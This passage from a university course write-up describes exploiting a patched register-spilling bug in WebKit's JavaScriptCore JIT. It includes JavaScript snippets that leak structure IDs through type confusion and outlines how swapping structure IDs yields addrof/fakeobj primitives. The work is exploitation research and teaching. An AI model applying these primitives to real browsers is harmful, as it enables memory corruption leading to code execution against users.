  d = {};
  e = {};
  f = {};
  g = {};
  h = {};
  ary.slice(0, 1);
  d.a = a;
  e.a = a;
  f.a = a;
  g.a = a;
  h.a = a;
  return ary1.a;
}
noInline(opt);
```

The call to `ary.slice(0, 1)`, which in our case is replaced with `intArray[0] = ary`, triggers a slow path which results in the value of `ary1` from the previous call to `opt1` being spilled into the current variable `ary1`.

The problem is that this version of the exploit depends heavily on the stack layout of the compiled function, which seems in our testing to be very finicky. In particular, we were unable to modify the main exploit (which uses a call to the `String` constructor to tricks the DFG's effects modeling).

Leaking Structure IDs

The above code can be used pretty straightforwardly to leak structure IDs. The code below is authored by qwertyuiop[^14]; we have modified it minimally to suit our needs. We explain some aspects of this code not covered in the JSCTales slides[^4].

The basic idea is to create two objects `oj1` and `oj`, with `oj` having one property more than `oj1`. Immediately after `oj1`, we create a `victim`, whose structure ID we wish to leak.

```
let oj = { _a: 0, b: 0, c: 0, d: 0, a: 378 * Number.MIN_VALUE };
let oj1 = { a: 0, b: 0, c: 0, d: 0 };
let victim = { a: 1, b: 0, c: 0, d: 0 };
```

In JSC, two objects of the same structure, created consecutively, are typically allocated consecutively as well, so a hypothetical fifth inline property of `oj1` would coincide with the 64-bit `JSCell` header of `victim`. The first 32 bits of this are `victim`'s structure ID.

During compilation, we train `opt1` to accept `oj1` and `opt` to accept `oj`, respectively, as their `ary1` arguments:

```
for (let i = 0; i < 10000; ++i) opt1(i + 1337.1337, oj1);
for (let i = 0; i < 10000; ++i) opt(i + 1337.1337, oj);
```

Then, we pull the bait-and-switch. The priming function `opt1` runs as it always does, but in the exploiting function `opt`, we pass in an `ary` argument that triggers the slow path:

```
function stack_set_and_call(val, val1) {
  let a = opt1(1337.1337, val);
  let b = opt(13713371337133713371337.1337, val1);
  return b;
}
noInline(stack_set_and_call);
// ...
let val = stack_set_and_call(oj1, oj);
// ...
```

This fills `ary1` with junk stack data: it now holds the value `oj1` instead of `oj`.

To understand the advantage we gain from this, we note that the DFG compiler wants to generate C-struct-style code for property accesses, which it refers to as `GetByOffset` (for reads) and `PutByOffset` (for writes). To do this in JavaScript, it must first make a claim about the `Structure` of the object being accessed. In `opt`, it emits a structure check on `ary1` against the structure of `oj`. Crucially, this proof is hoisted before the spill, because the compiler wants to optimize the assignment `c = ary1.b` as well. Thus, in the final call, the proof is no longer valid when `ary1` is overwritten with the unspilled value `oj1` from the stack. At this point, the `GetByOffset` node for `ary1.a` will read from the aforementioned hypothetical fifth property of `oj1`, and thus leak a structure ID.

Writing Structure IDs (?)

If we could achieve this, it'd be quite the step. From here, we would be able to implement `transmogrify` (a primitive that swaps the `StructureID` of two JavaScript objects). A previous project in Dr. Shacham's class showed that a one-time-use of `transmogrify` between two objects with only inline property storage is sufficient to obtain the `addrof` and `fakeobj` primitives (and thus arbitrary code execution).

This is obviously exploitable by swapping the IDs of a large object with many properties and a small object with few properties. Then, the small object can read beyond its storage into a neighboring object's. This easily leads to a type confusion if we can configure two objects of our choosing to be neighboring. As with `oj1` and `victim` in the section above, using two consecutive, identically structured objects should do the trick.

Our idea in implementing this was simply to replace the return statement in `opt` (and `opt1`) with a property assignment (a `PutByOffset` instead of `GetByOffset`):

```
ary1.a = woot;
```

Inspection (via `gdb` and DFG code dumps) confirms that the two functions still run with the same base pointer and use the same offset to spill their `ary1` variables. However, we ran into issues with an `operationGetFromScope` overwriting the spilled value with `0`, and even we are not quite sure why. It seems that `operationGetFromScope` runs after `opt1` returns but before `opt` is called, but otherwise we have little information about this rude interloper.

This operation is never invoked from the DFG-compiled code, so this is still a mystery and a source of future work for us.

Root Cause Analysis

In this case, there is not actually much novel analysis here. As was the case in quertyuiop's work^4, the issue is in an unenforced invariant in the register allocator. Such oversights can lead easily to the class of highly-exploitable bugs demonstrated in this writeup and writeups from six years ago (at least) alike.

It's seemingly quite difficult to detect such defects in the optimizing compilers because of the limits on computation and static analysis^15. On the other hand, it's also hard to detect such defects by hand in such a large codebase. However, it is undeniable that finding and catching such defects early on is of utmost importance to the integrity of engines like JSC and the privacy of end-users.

Conclusion

TLDR: we found a patched bug in the JSC engine found in WebKit, reproduced the bug, and were able to get decent progress towards a full-scale proof-of-concept exploit. Reproduction required delving into the details of the JSC optimizing Data Flow Graph JIT compiler, and crafting a payload to satisfy the given constraints. Exploitation involved studying previous exploits and reusing fundamental ideas of register spilling and incorrect global state to achieve type confusion: enabling us to build traditional exploit primitives.

Course Acknowledgement

Note that we explored this bug and provided this writeup for the sake of the final project in Dr. Hovav Shacham's Honors Computer Security course taught at The University of Texas at Austin during the spring of 2025.

[^3]: Though, there appears to be someone who *attempted* to do so. However, it seems that their website has been taken down, and the link to their writeup presents nothing but a 404 error. https://x.com/l33d0hyun/status/1863212718028972166